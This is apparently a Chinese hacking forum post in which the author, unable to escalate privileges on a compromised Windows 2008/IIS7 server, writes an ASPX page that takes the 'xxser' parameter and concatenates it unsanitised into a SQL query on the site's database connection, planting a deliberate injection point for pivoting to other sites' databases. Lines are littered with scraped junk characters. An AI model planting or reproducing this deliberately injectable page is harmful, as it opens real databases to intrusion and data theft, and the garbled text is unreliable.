利用aspx构造注射来跨站

admin

昨天跟4z1看一个站点，提权很难提，看了整整5个小时，无果。 2008+iis7，无sa，无root，无各种服务。。。
其实中用到了aspx构造注射来跨站，网上找了一堆代码，没一个能用的。
" Y1 j$ q) @5 q9 W3 H0 h5 D代码量不多，自己写个拉倒了。烦死了。
+ e+ h" g/ _" s% Y; Z$ y
3 Y6 H$ h1 j* G1 t​
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>暗影aspx构造注射专用页面</title>
1 E" {/ S# G4 }! G; H</head>
& Z7 H8 q0 L" y$ B9 }<body>
    <form id="form1" runat="server">
    <div>
3 C6 ^: H: E- `: i! `, `- j; v# [  g     <script language="c#" runat="server">
            
# H# c* }3 g* o2 `         void page_init(object sender, EventArgs e)
         {
            
" u" Z+ |; k+ D, K             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
            
% j# K( K+ [% S6 ?6 q8 t             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
             conn.Open();
            
             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
8 h* K' w' d. h: h& n* j% o            
             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
" j5 @+ w7 t/ [4 P# i  x+ {             int x = command.ExecuteNonQuery();
             Response.Write(i+"\n");
  B8 |3 L" X9 ^             Response.Write(x);
" @0 p6 O# b! Q  f             conn.Close();
! T0 ~/ ]- ], O  K  {, l3 [4 ]6 v         }
     
  </script>
! a2 X3 m5 M  _# Z4 y    </div>
    </form>
</body>
</html>
) r% l  |3 P. _6 A